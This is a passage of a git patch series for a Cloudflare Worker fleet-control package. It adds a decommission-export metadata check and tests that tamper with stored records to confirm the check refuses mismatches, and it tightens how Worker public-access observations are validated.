Promise; + }> = {}, ) { const manifest = directFixtureManifest(); const roles = ['a', 'b', 'recovery'] as const; @@ -99,6 +102,15 @@ export async function createDirectReferenceHarness( } const projection = recordingFetch(async (request) => { const url = new URL(request.url); + if ( + policy.applicationFetch && + specs.some( + (candidate) => url.origin === `https://${candidate.routeHostname}`, + ) && + (url.pathname === '/__direct/health' || + url.pathname === '/__direct/object') + ) + return policy.applicationFetch(request); const spec = specs.find( (candidate) => candidate.maintenanceBaseUrl === url.origin, ); From 9cc6c2cc7ba849f5f1ff559826706285373aa30c Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 14:06:41 +0400 Subject: [PATCH 122/169] feat(fleet-control): expose saved decommission export metadata --- .../scripts/direct-reference-context.ts | 52 +++ .../scripts/direct-reference-contract.d.mts | 6 +- .../scripts/direct-reference-contract.mjs | 1 + .../scripts/direct-reference-lifecycle.ts | 124 +++++++ .../test/direct-reference-contract.test.ts | 3 + ...direct-reference-lifecycle.harness.test.ts | 304 ++++++++++++++++++ 6 files changed, 489 insertions(+), 1 deletion(-) diff --git a/packages/fleet-control/scripts/direct-reference-context.ts b/packages/fleet-control/scripts/direct-reference-context.ts index bceaf731..1a522f0f 100644 --- a/packages/fleet-control/scripts/direct-reference-context.ts +++ b/packages/fleet-control/scripts/direct-reference-context.ts @@ -20,6 +20,7 @@ import { type CloudflareDeploymentSpec, createCloudflareControlPlane, D1FleetStateDatabase, + type DatabaseExportReceiptIdentity, type DeploymentSecrets, deploymentSpecDigest, type FleetRecord, @@ -72,6 +73,10 @@ export interface DirectReferenceContext { backend: CloudflareApiPlainWorkerBackend; }>; readonly recoveryClaimSetPresent: () => Promise; + readonly headDecommissionExport: ( + identity: DatabaseExportReceiptIdentity, + expectedSize: number, + ) => Promise; readonly roleFor: (record: FleetRecord) => DirectFixtureRole; readonly spec: ( role: DirectFixtureRole, @@ -342,6 +347,53 @@ export async function createDirectReferenceContext( journal, inventoryStore, transport, + async headDecommissionExport( + identity: DatabaseExportReceiptIdentity, + expectedSize: number, + ) { + transport.assertWithinBudget(); + const authority = `r2://${binding.exportBucketName}/${manifest.resourcePrefix}/receipts/v1`; + if ( + !identity || + identity.version !== 1 || + identity.authority !== authority || + typeof identity.databaseId !== 'string' || + !/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/u.test( + identity.databaseId, + ) || + typeof identity.operationId !== 'string' || + !/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u.test( + identity.operationId, + ) || + !Number.isSafeInteger(expectedSize) || + expectedSize < 1 + ) + refused(); + const key = `${manifest.resourcePrefix}/receipts/v1/${identity.databaseId}/${identity.operationId}.sql`; + const expected = { + anchorageReceiptVersion: '1', + anchorageReceiptAuthority: authority, + anchorageDatabaseId: identity.databaseId, + anchorageOperationId: identity.operationId, + }; + const object = await environment.EXPORTS.head(key); + transport.assertWithinBudget(); + const metadata = object?.customMetadata; + if ( + !object || + object.key !== key || + object.size !== expectedSize || + !metadata || + typeof metadata !== 'object' || + Array.isArray(metadata) || + JSON.stringify(Object.keys(metadata).sort()) !== + JSON.stringify(Object.keys(expected).sort()) || + Object.entries(expected).some( + ([name, value]) => metadata[name] !== value, + ) + ) + refused(); + }, createForcePlane() { transport.assertWithinBudget(); const store = new D1FleetStateStore( diff --git a/packages/fleet-control/scripts/direct-reference-contract.d.mts b/packages/fleet-control/scripts/direct-reference-contract.d.mts index 74209094..16a22bd6 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.d.mts +++ b/packages/fleet-control/scripts/direct-reference-contract.d.mts @@ -57,7 +57,11 @@ export type DirectReferenceAction = | Readonly<{ kind: 'migration-page'; afterOrdinal?: number; limit: number }> | Readonly<{ kind: 'migration-continue'; token?: unknown }> | Readonly<{ - kind: 'cleanup-start' | 'cleanup-receipt' | 'decommission-start'; + kind: + | 'cleanup-start' + | 'cleanup-receipt' + | 'decommission-start' + | 'decommission-export'; role: DirectFixtureRole; }> | Readonly<{ diff --git a/packages/fleet-control/scripts/direct-reference-contract.mjs b/packages/fleet-control/scripts/direct-reference-contract.mjs index 87f31a47..f069b409 100644 --- a/packages/fleet-control/scripts/direct-reference-contract.mjs +++ b/packages/fleet-control/scripts/direct-reference-contract.mjs @@ -104,6 +104,7 @@ function actionFromParsed(value) { case 'cleanup-start': case 'cleanup-receipt': case 'decommission-start': + case 'decommission-export': keys(value, ['kind', 'role']); member(value.role, ['a', 'b', 'recovery']); break; diff --git a/packages/fleet-control/scripts/direct-reference-lifecycle.ts b/packages/fleet-control/scripts/direct-reference-lifecycle.ts index 50525997..3f43cd87 100644 --- a/packages/fleet-control/scripts/direct-reference-lifecycle.ts +++ b/packages/fleet-control/scripts/direct-reference-lifecycle.ts @@ -5,6 +5,8 @@ import { type CleanupAdvanceResult, type CleanupTerminalReceipt, type CloudflareDeploymentSpec, + type DatabaseExportReceiptIdentity, + type DecommissionAdvanceIntent, deploymentSpecDigest, type FleetRecord, ProvisioningError, @@ -32,6 +34,126 @@ type LifecycleAction = Exclude< >; type CleanupSlot = `cleanup-${DirectFixtureRole}` | 'cleanup-recovery-initial'; +export type DirectDecommissionExportMetadata = + | Readonly<{ + available: false; + role: DirectFixtureRole; + lifecyclePhase: + | DecommissionAdvanceIntent['lifecyclePhase'] + | 'not-started'; + }> + | Readonly<{ + available: true; + role: DirectFixtureRole; + receipt: DatabaseExportReceiptIdentity; + location: string; + size: number; + sha256: string; + lifecyclePhase: + | 'database-exported' + | 'database-deleting' + | 'decommissioned'; + intentState: DecommissionAdvanceIntent['state']; + revision: number; + generation: number; + }>; + +async function readDirectDecommissionExport( + context: DirectReferenceContext, + manifest: DirectRunManifest, + role: DirectFixtureRole, +): Promise { + context.transport.assertWithinBudget(); + const slot: DirectOperationSlot = `decommission-${role}`; + const stored = await context.journal.readOperation(slot); + const record = await context.control.getDeployment( + manifest.names.roles[role].tenantTag, + manifest.environment, + ); + if (record && context.roleFor(record) !== role) + throw new DirectReferenceExecutionError(); + if (stored && (stored.slot !== slot || stored.kind !== 'decommission')) + throw new DirectReferenceJournalError(); + const spec = stored + ? readFrozenLifecycleSpec(context, stored, role) + : undefined; + const intent = record?.decommissionIntent; + const hasExport = + record && + (record.databaseExportLocation !== undefined || + record.databaseExportSize !== undefined || + record.databaseExportSha256 !== undefined); + if (!stored?.operationId) { + if (intent || hasExport) throw new DirectReferenceJournalError(); + return { available: false, role, lifecyclePhase: 'not-started' }; + } + if ( + !record || + !intent || + !spec || + context.specFor(record) !== spec || + intent.operationId !== stored.operationId || + intent.identity.mode.kind !== 'normal' || + intent.identity.mode.requestedSpecDigest !== deploymentSpecDigest(spec) + ) + throw new DirectReferenceJournalError(); + for (const field of [ + 'tenantTag', + 'environment', + 'backend', + 'scriptName', + 'databaseId', + 'databaseName', + 'routeHostname', + ] as const) { + if (intent.identity.record[field] !== record[field]) + throw new DirectReferenceJournalError(); + } + const lifecyclePhase = intent.lifecyclePhase; + if ( + lifecyclePhase !== 'database-exported' && + lifecyclePhase !== 'database-deleting' && + lifecyclePhase !== 'decommissioned' + ) { + if (hasExport) throw new DirectReferenceExecutionError(); + return { available: false, role, lifecyclePhase }; + } + const authority = `r2://${context.binding.exportBucketName}/${manifest.resourcePrefix}/receipts/v1`; + const receipt: DatabaseExportReceiptIdentity = { + version: 1, + authority, + databaseId: record.databaseId, + operationId: intent.operationId, + }; + const location = record.databaseExportLocation; + const size = record.databaseExportSize; + const sha256 = record.databaseExportSha256; + if ( + intent.databaseExportReceiptAuthority !== authority || + location !== + `${authority}/${receipt.databaseId}/${receipt.operationId}.sql` || + typeof size !== 'number' || + !Number.isSafeInteger(size) || + size < 1 || + typeof sha256 !== 'string' || + !/^[0-9a-f]{64}$/u.test(sha256) + ) + throw new DirectReferenceExecutionError(); + await context.headDecommissionExport(receipt, size); + return { + available: true, + role, + receipt, + location, + size, + sha256, + lifecyclePhase, + intentState: intent.state, + revision: intent.revision, + generation: intent.generation, + }; +} + function cleanupSlot( role: DirectFixtureRole, release: DirectFixtureRelease, @@ -258,6 +380,8 @@ export async function dispatchDirectLifecycle( signal: AbortSignal, ): Promise { if (action.kind === 'provision') return provision(context, manifest, action); + if (action.kind === 'decommission-export') + return readDirectDecommissionExport(context, manifest, action.role); const decommission = action.kind.startsWith('decommission-'); let stored: DirectStoredOperation; if (decommission) { diff --git a/packages/fleet-control/test/direct-reference-contract.test.ts b/packages/fleet-control/test/direct-reference-contract.test.ts index 9fcb07e0..c3b93202 100644 --- a/packages/fleet-control/test/direct-reference-contract.test.ts +++ b/packages/fleet-control/test/direct-reference-contract.test.ts @@ -39,6 +39,7 @@ const actions: readonly DirectReferenceAction[] = [ { kind: 'cleanup-restart-blocked', role: 'b', token: false }, { kind: 'cleanup-receipt', role: 'recovery' }, { kind: 'decommission-start', role: 'a' }, + { kind: 'decommission-export', role: 'a' }, { kind: 'decommission-continue', role: 'b' }, { kind: 'decommission-restart-blocked', role: 'recovery', token: [] }, { kind: 'force-recovery' }, @@ -120,6 +121,8 @@ describe('direct reference request contract', () => { { kind: 'migration-start', slot: 'migration-next' }, { kind: 'cleanup-start', role: 'other' }, { kind: 'decommission-continue' }, + { kind: 'decommission-export', role: 'other' }, + { kind: 'decommission-export', role: 'a', view: 'bytes' }, { kind: 'force-recovery', role: 'a' }, { kind: 'tenant-probe', role: 'a' }, { kind: 'tenant-probe', role: 'other', operation: 'health' }, diff --git a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts index cc746966..e654cee7 100644 --- a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts @@ -2,8 +2,11 @@ import { createHash } from 'node:crypto'; import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { directDeploymentSpec } from '../scripts/direct-credentialed-spec.js'; +import type { DirectDecommissionExportMetadata } from '../scripts/direct-reference-lifecycle.js'; import type { CleanupAdvanceResult } from '../src/cleanup-advance.js'; import type { DecommissionAdvanceResult } from '../src/decommission-advance.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; import { createDirectReferenceHarness, type DirectReferenceHarness, @@ -36,6 +39,12 @@ describe.sequential('direct lifecycle through native control state', { } it('uses real provision and normal teardown with native export integrity', async () => { + const metadataAction = { kind: 'decommission-export', role: 'a' } as const; + expect(await fixture.success(metadataAction)).toEqual({ + available: false, + role: 'a', + lifecyclePhase: 'not-started', + }); const result = await fixture.success<{ status: string }>({ kind: 'provision', role: 'a', @@ -58,6 +67,11 @@ describe.sequential('direct lifecycle through native control state', { kind: 'decommission-start', role: 'a', }); + expect(await fixture.success(metadataAction)).toMatchObject({ + available: false, + role: 'a', + }); + let verifiedBeforeDelete = false; for (let calls = 0; advance.status !== 'complete' && calls < 150; calls++) { expect(advance.status).toBe('pending'); advance = await fixture.success({ @@ -65,10 +79,300 @@ describe.sequential('direct lifecycle through native control state', { role: 'a', token: advance.token, }); + const current = await fixture.fleetStore.get( + fixture.manifest.names.roles.a.tenantTag, + fixture.manifest.environment, + ); + if ( + !verifiedBeforeDelete && + current?.decommissionIntent?.state === 'transitioning' && + current.decommissionIntent.lifecyclePhase === 'database-exported' + ) { + const selected = await fixture + .journal() + .readOperation('decommission-a'); + const providerRequests = fixture.projection.requests.length; + const journalRow = await fixture.db + .prepare( + 'SELECT operation_id,start_json,start_sha256,token_json,token_sha256,token_revision FROM direct_reference_operations WHERE run_key=? AND slot=?', + ) + .bind(fixture.manifest.resourcePrefix, 'decommission-a') + .first<{ + operation_id: string; + start_json: string; + start_sha256: string; + token_json: string; + token_sha256: string; + token_revision: number; + }>(); + if (!journalRow?.token_json) + throw new Error('selected journal token is missing'); + const intent = current.decommissionIntent; + expect( + fixture.world.databases.some( + (database) => database.databaseId === current.databaseId, + ), + ).toBe(true); + const metadata = + await fixture.success( + metadataAction, + ); + if (!metadata.available) + throw new Error('saved export metadata is unavailable'); + const operationId = current.decommissionIntent.operationId; + const key = `${fixture.manifest.resourcePrefix}/receipts/v1/${current.databaseId}/${operationId}.sql`; + expect(metadata).toEqual({ + available: true, + role: 'a', + receipt: { + version: 1, + authority: `r2://${fixture.binding.exportBucketName}/${fixture.manifest.resourcePrefix}/receipts/v1`, + databaseId: current.databaseId, + operationId, + }, + location: `r2://${fixture.binding.exportBucketName}/${key}`, + size: current.databaseExportSize, + sha256: current.databaseExportSha256, + lifecyclePhase: 'database-exported', + intentState: 'transitioning', + revision: current.decommissionIntent.revision, + generation: current.decommissionIntent.generation, + }); + const object = await fixture.exportBytes.get(key); + if (!object?.customMetadata) + throw new Error('receipt object metadata is missing'); + const originalMetadata = { ...object.customMetadata }; + const bytes = new Uint8Array(await object.arrayBuffer()); + expect(bytes.byteLength).toBe(metadata.size); + expect(createHash('sha256').update(bytes).digest('hex')).toBe( + metadata.sha256, + ); + const failures = await Promise.allSettled([ + (async () => { + for (const changed of [ + { + ...current, + decommissionIntent: { + ...intent, + operationId: '00000000-0000-4000-8000-000000000000', + }, + }, + { + ...current, + databaseExportLocation: 'r2://different/receipts/v1/other.sql', + }, + { ...current, databaseExportSize: metadata.size + 1 }, + { ...current, databaseExportSha256: 'invalid' }, + { + ...current, + decommissionIntent: { + ...intent, + databaseExportReceiptAuthority: 'r2://different/receipts/v1', + }, + }, + ]) { + await fixture.fleetStore.withDeploymentLease( + current.tenantTag, + current.environment, + (lease) => lease.put(changed), + ); + expect( + await fixture.fleetStore.get( + current.tenantTag, + current.environment, + ), + ).toEqual(changed); + expect((await fixture.call(metadataAction)).value.ok).toBe(false); + await fixture.fleetStore.withDeploymentLease( + current.tenantTag, + current.environment, + (lease) => lease.put(current), + ); + } + const otherOperationId = '00000000-0000-4000-8000-000000000000'; + const tokenJson = JSON.stringify({ + ...JSON.parse(journalRow.token_json), + operationId: otherOperationId, + }); + const tokenHash = createHash('sha256') + .update( + JSON.stringify([ + 'token', + fixture.manifest.resourcePrefix, + 'decommission-a', + tokenJson, + ]), + ) + .digest('hex'); + await fixture.db + .prepare( + 'UPDATE direct_reference_operations SET operation_id=?,token_json=?,token_sha256=? WHERE run_key=? AND slot=?', + ) + .bind( + otherOperationId, + tokenJson, + tokenHash, + fixture.manifest.resourcePrefix, + 'decommission-a', + ) + .run(); + expect( + (await fixture.journal().readOperation('decommission-a')) + ?.operationId, + ).toBe(otherOperationId); + expect((await fixture.call(metadataAction)).value.ok).toBe(false); + await fixture.db + .prepare( + 'UPDATE direct_reference_operations SET operation_id=?,token_json=?,token_sha256=? WHERE run_key=? AND slot=?', + ) + .bind( + journalRow.operation_id, + journalRow.token_json, + journalRow.token_sha256, + fixture.manifest.resourcePrefix, + 'decommission-a', + ) + .run(); + const nextSpec = directDeploymentSpec( + fixture.manifest, + 'a', + 'next', + fixture.secrets.a, + fixture.binding, + ); + const startJson = JSON.stringify({ + version: 1, + role: 'a', + release: 'next', + specDigest: deploymentSpecDigest(nextSpec), + }); + const startHash = createHash('sha256') + .update( + JSON.stringify([ + 'start', + fixture.manifest.resourcePrefix, + 'decommission-a', + 'decommission', + null, + startJson, + ]), + ) + .digest('hex'); + await fixture.db + .prepare( + 'UPDATE direct_reference_operations SET start_json=?,start_sha256=? WHERE run_key=? AND slot=?', + ) + .bind( + startJson, + startHash, + fixture.manifest.resourcePrefix, + 'decommission-a', + ) + .run(); + expect( + (await fixture.journal().readOperation('decommission-a')) + ?.inputJson, + ).toBe(startJson); + expect((await fixture.call(metadataAction)).value.ok).toBe(false); + await fixture.db + .prepare( + 'UPDATE direct_reference_operations SET start_json=?,start_sha256=? WHERE run_key=? AND slot=?', + ) + .bind( + journalRow.start_json, + journalRow.start_sha256, + fixture.manifest.resourcePrefix, + 'decommission-a', + ) + .run(); + for (const customMetadata of [ + {}, + { + ...originalMetadata, + anchorageOperationId: '00000000-0000-4000-8000-000000000000', + }, + { + ...originalMetadata, + anchorageReceiptAuthority: 'r2://foreign/receipts/v1', + }, + { ...originalMetadata, extra: 'unexpected' }, + ]) { + await fixture.exportBytes.put(key, bytes, { customMetadata }); + expect((await fixture.call(metadataAction)).value).toEqual({ + contractVersion: 1, + ok: false, + error: { code: 'operation-refused' }, + }); + } + await fixture.exportBytes.put( + key, + bytes.slice(0, bytes.byteLength - 1), + { customMetadata: originalMetadata }, + ); + expect((await fixture.call(metadataAction)).value.ok).toBe(false); + await fixture.exportBytes.delete(key); + expect((await fixture.call(metadataAction)).value.ok).toBe(false); + })(), + ]); + const restored = await Promise.allSettled([ + fixture.fleetStore.withDeploymentLease( + current.tenantTag, + current.environment, + (lease) => lease.put(current), + ), + fixture.db + .prepare( + 'UPDATE direct_reference_operations SET operation_id=?,start_json=?,start_sha256=?,token_json=?,token_sha256=?,token_revision=? WHERE run_key=? AND slot=?', + ) + .bind( + journalRow.operation_id, + journalRow.start_json, + journalRow.start_sha256, + journalRow.token_json, + journalRow.token_sha256, + journalRow.token_revision, + fixture.manifest.resourcePrefix, + 'decommission-a', + ) + .run(), + fixture.exportBytes.put(key, bytes, { + customMetadata: originalMetadata, + }), + ]); + const errors = [...failures, ...restored].flatMap((result) => + result.status === 'rejected' ? [result.reason] : [], + ); + if (errors.length) + throw new AggregateError( + errors, + 'export metadata controls or restoration failed', + ); + expect(await fixture.success(metadataAction)).toEqual(metadata); + expect( + await fixture.fleetStore.get(current.tenantTag, current.environment), + ).toEqual(current); + expect(await fixture.journal().readOperation('decommission-a')).toEqual( + selected, + ); + expect(fixture.projection.requests).toHaveLength(providerRequests); + expect( + fixture.world.databases.some( + (database) => database.databaseId === current.databaseId, + ), + ).toBe(true); + verifiedBeforeDelete = true; + } } + expect(verifiedBeforeDelete).toBe(true); expect(advance.status).toBe('complete'); expect(fixture.world.databases).toHaveLength(0); expect(fixture.buckets.size).toBe(0); + expect(await fixture.success(metadataAction)).toMatchObject({ + available: true, + role: 'a', + lifecyclePhase: 'decommissioned', + intentState: 'complete', + }); const stored = await fixture.exportBytes.list(); expect(stored.objects.length).toBeGreaterThan(0); const expectedSql = [...fixture.world.exports.values()][0]; From 96cfeab2fb3c4ae8f105b70ea073dcfeaaec9b9e Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 14:16:38 +0400 Subject: [PATCH 123/169] test(fleet-control): resolve export metadata review polish --- packages/fleet-control/scripts/direct-reference-context.ts | 3 +-- .../test/direct-reference-lifecycle.harness.test.ts | 1 - 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/packages/fleet-control/scripts/direct-reference-context.ts b/packages/fleet-control/scripts/direct-reference-context.ts index 1a522f0f..6bbfab46 100644 --- a/packages/fleet-control/scripts/direct-reference-context.ts +++ b/packages/fleet-control/scripts/direct-reference-context.ts @@ -354,8 +354,7 @@ export async function createDirectReferenceContext( transport.assertWithinBudget(); const authority = `r2://${binding.exportBucketName}/${manifest.resourcePrefix}/receipts/v1`; if ( - !identity || - identity.version !== 1 || + identity?.version !== 1 || identity.authority !== authority || typeof identity.databaseId !== 'string' || !/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/u.test( diff --git a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts index e654cee7..934b9753 100644 --- a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts @@ -487,7 +487,6 @@ describe.sequential('direct lifecycle through native control state', { it('does not provision again from prepared history with no observable result', async () => { const spec = fixture.specs[1]; if (!spec) throw new Error('fixture b specification is missing'); - const { deploymentSpecDigest } = await import('../src/spec-digest.js'); await fixture.journal().freezeStart('cleanup-b', async () => ({ operationId: null, inputJson: JSON.stringify({ From 0a09088bc098e2a0f6cce12f0182528780e78a76 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 15:08:28 +0400 Subject: [PATCH 124/169] fix(fleet-control): require positive ingress observations --- .../positive-worker-ingress-evidence.md | 5 + .../fleet-control/src/cloudflare-client.ts | 17 +- .../cloudflare-ordinary-worker-operations.ts | 56 +++- .../fleet-control/src/plain-worker-backend.ts | 7 +- .../src/provider-binding-inventory.ts | 18 ++ ...s-for-platforms-backend-switch-provider.ts | 3 + .../test/backend-switch-provider.test.ts | 41 +++ .../cloudflare-client-plain-worker.test.ts | 268 ++++++++++++++++++ .../test/plain-worker-backend.test.ts | 53 ++++ 9 files changed, 447 insertions(+), 21 deletions(-) create mode 100644 .changeset/positive-worker-ingress-evidence.md diff --git a/.changeset/positive-worker-ingress-evidence.md b/.changeset/positive-worker-ingress-evidence.md new file mode 100644 index 00000000..e5282b68 --- /dev/null +++ b/.changeset/positive-worker-ingress-evidence.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Reject incomplete Worker subdomain observations before interpreting ingress as disabled. Require explicit disabled flags for a present Worker through the ordinary and backend-switch proof paths while preserving an authoritatively absent parent. diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 88b91aeb..0264f5db 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -40,6 +40,7 @@ import { type OrdinaryWorkerFootprint, ordinaryWorkerDeploymentStatus, ordinaryWorkerSecretNames, + ordinaryWorkerSubdomain, prepareOrdinaryWorkerDeployment, prepareOrdinaryWorkerUpload, viewOrdinaryWorkerVersion, @@ -1825,9 +1826,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { account_id: this.#accountId, script_name: scriptName, }), - this.#client.workers.scripts.subdomain.get(scriptName, { - account_id: this.#accountId, - }), + ordinaryWorkerSubdomain(this.#ordinary, scriptName), ordinaryWorkerSecretNames(this.#ordinary, scriptName), ]); const bindings = activeVersion.resources.bindings ?? []; @@ -1849,8 +1848,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { return { artifactVersion, bindings: bindings as readonly FleetInventoryProviderBinding[], - subdomainEnabled: Boolean(subdomain.enabled), - previewsEnabled: Boolean(subdomain.previews_enabled), + subdomainEnabled: subdomain.enabled, + previewsEnabled: subdomain.previews_enabled, secretNames, }; } @@ -2060,9 +2059,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { account_id: this.#accountId, script_name: scriptName, }), - this.#client.workers.scripts.subdomain.get(scriptName, { - account_id: this.#accountId, - }), + ordinaryWorkerSubdomain(this.#ordinary, scriptName), ordinaryWorkerSecretNames(this.#ordinary, scriptName), ]); const bindings = activeVersion.resources.bindings ?? []; @@ -2228,8 +2225,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { secretNames, plainTextBindings, providerBindingIdentities, - workersDevEnabled: subdomain.enabled === true, - previewUrlsEnabled: subdomain.previews_enabled === true, + workersDevEnabled: subdomain.enabled, + previewUrlsEnabled: subdomain.previews_enabled, routeHostnames, zoneRoutes, }; diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts index a07700c4..442c2cfb 100644 --- a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts +++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts @@ -183,6 +183,49 @@ type OrdinaryWorkerCollectContext = Pick< 'accountId' | 'inventoryClient' | 'collectBounded' >; +export async function ordinaryWorkerSubdomain( + context: Pick, + scriptName: string, +): Promise> { + const response = await context.client.workers.scripts.subdomain + .get(scriptName, { account_id: context.accountId }) + .asResponse(); + const media = response.headers + .get('content-type') + ?.split(';')[0] + ?.trim() + .toLowerCase(); + if ( + response.status !== 200 || + !(media === 'application/json' || media?.endsWith('+json')) + ) { + void response.body?.cancel().catch(() => undefined); + throw new Error( + `ordinary Worker '${scriptName}' returned incomplete public-access metadata`, + ); + } + const body: unknown = await response.json(); + const result = readField(body, 'result'); + const errors = readField(body, 'errors'); + const enabled = readField(result, 'enabled'); + const previews = readField(result, 'previews_enabled'); + if ( + readField(body, 'success') !== true || + (errors !== undefined && (!Array.isArray(errors) || errors.length !== 0)) || + !result || + typeof result !== 'object' || + Array.isArray(result) || + !Object.hasOwn(result, 'enabled') || + !Object.hasOwn(result, 'previews_enabled') || + typeof enabled !== 'boolean' || + typeof previews !== 'boolean' + ) + throw new Error( + `ordinary Worker '${scriptName}' returned incomplete public-access metadata`, + ); + return { enabled, previews_enabled: previews }; +} + export async function listOrdinaryWorkerSecretNames( context: OrdinaryWorkerPagedContext, scriptName: string, @@ -454,9 +497,7 @@ export async function dispatchOrdinaryWorkerUpload( }); return; } - const current = await subdomain.get(intent.scriptName, { - account_id: context.accountId, - }); + const current = await ordinaryWorkerSubdomain(context, intent.scriptName); if ( current.enabled !== intent.publicAccess.workersDevEnabled || current.previews_enabled !== intent.publicAccess.previewUrlsEnabled @@ -546,10 +587,7 @@ export async function disableOrdinaryWorkerPublicAccess( } const subdomain = await (async () => { try { - return await context.client.workers.scripts.subdomain.get( - scriptName, - { account_id: context.accountId }, - ); + return await ordinaryWorkerSubdomain(context, scriptName); } catch (error) { if (!isNotFound(error)) throw error; return undefined; @@ -748,9 +786,7 @@ export async function inspectOrdinaryWorkerFootprint( } } const subdomain = scriptPresent - ? await context.client.workers.scripts.subdomain.get(scriptName, { - account_id: context.accountId, - }) + ? await ordinaryWorkerSubdomain(context, scriptName) : undefined; return { scriptPresent, diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index dea44aba..df16bd66 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -17,7 +17,10 @@ import { isSha256 } from './deployment-context.js'; import { WorkerDeploymentError } from './deployment-error.js'; import { maintenanceUrl, readMaintenanceHealth } from './maintenance-health.js'; import { applyMigrationsWithLedger } from './migration-ledger.js'; -import { assertSupportedPlainWorkerBindings } from './provider-binding-inventory.js'; +import { + assertCompleteWorkerPublicAccess, + assertSupportedPlainWorkerBindings, +} from './provider-binding-inventory.js'; import { deploymentSpecDigest } from './spec-digest.js'; import type { ActiveRouteAttestation, @@ -1925,6 +1928,7 @@ export class PlainWorkerBackend implements ProvisioningBackend { this.#api.inspectOrdinaryWorkerFootprint(record.scriptName), this.#api.listCustomDomains(), ]); + assertCompleteWorkerPublicAccess(footprint); if ( footprint.customDomains.length > 0 || footprint.zoneRoutes.length > 0 || @@ -2024,6 +2028,7 @@ export class PlainWorkerBackend implements ProvisioningBackend { const footprint = await this.#api.inspectOrdinaryWorkerFootprint( spec.scriptName, ); + assertCompleteWorkerPublicAccess(footprint); if ( footprint.customDomains.length > 0 || footprint.zoneRoutes.length > 0 || diff --git a/packages/fleet-control/src/provider-binding-inventory.ts b/packages/fleet-control/src/provider-binding-inventory.ts index 04e719e2..cb857e7f 100644 --- a/packages/fleet-control/src/provider-binding-inventory.ts +++ b/packages/fleet-control/src/provider-binding-inventory.ts @@ -8,6 +8,24 @@ import type { ProviderBindingIdentity, } from './types.js'; +export function assertCompleteWorkerPublicAccess( + footprint: Readonly<{ + scriptPresent: boolean; + workersDevEnabled?: boolean; + previewUrlsEnabled?: boolean; + }>, +): void { + if ( + typeof footprint.scriptPresent !== 'boolean' || + [footprint.workersDevEnabled, footprint.previewUrlsEnabled].some((value) => + value === undefined + ? footprint.scriptPresent + : typeof value !== 'boolean', + ) + ) + throw new Error('ordinary Worker public-access footprint is incomplete'); +} + export function providerBindingsToPlainWorkerShape( bindings: readonly unknown[], ): readonly PlainWorkerVersionBinding[] { diff --git a/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts b/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts index d1b53fa1..5f85889f 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts @@ -42,6 +42,7 @@ import { validateExternalPlatformProfile, } from './platform-resources.js'; import { + assertCompleteWorkerPublicAccess, assertProviderBindingIdentitiesMatchInspection, assertSupportedPlainWorkerBindings, } from './provider-binding-inventory.js'; @@ -2445,6 +2446,7 @@ export class WorkersForPlatformsBackendSwitchProvider const footprint = await this.#client.inspectOrdinaryWorkerFootprint( input.prior.scriptName, ); + assertCompleteWorkerPublicAccess(footprint); if (live ? !footprint.scriptPresent : footprint.scriptPresent) { throw new Error( 'refusing to mutate backend-switch traffic with an inconsistent ordinary Worker footprint', @@ -2555,6 +2557,7 @@ export class WorkersForPlatformsBackendSwitchProvider this.#client.listCustomDomains(), this.#client.inspectOrdinaryWorkerFootprint(input.prior.scriptName), ]); + assertCompleteWorkerPublicAccess(footprint); if ( route !== undefined || domains.some((domain) => domain.service === input.prior.scriptName) || diff --git a/packages/fleet-control/test/backend-switch-provider.test.ts b/packages/fleet-control/test/backend-switch-provider.test.ts index f6139c97..ac6dd817 100644 --- a/packages/fleet-control/test/backend-switch-provider.test.ts +++ b/packages/fleet-control/test/backend-switch-provider.test.ts @@ -1216,6 +1216,47 @@ describe('backend switch provider teardown authority', () => { expect(publicAccessDisables).toBe(1); }); + it.each([ + {}, + { workersDevEnabled: false }, + { previewUrlsEnabled: false }, + ])('refuses unknown present-Worker access before switch traffic proof %#', async (flags) => { + const subject = provider({ + getHostRouting: async () => undefined, + listCustomDomains: async () => [], + inspectOrdinaryWorkerFootprint: async () => ({ + 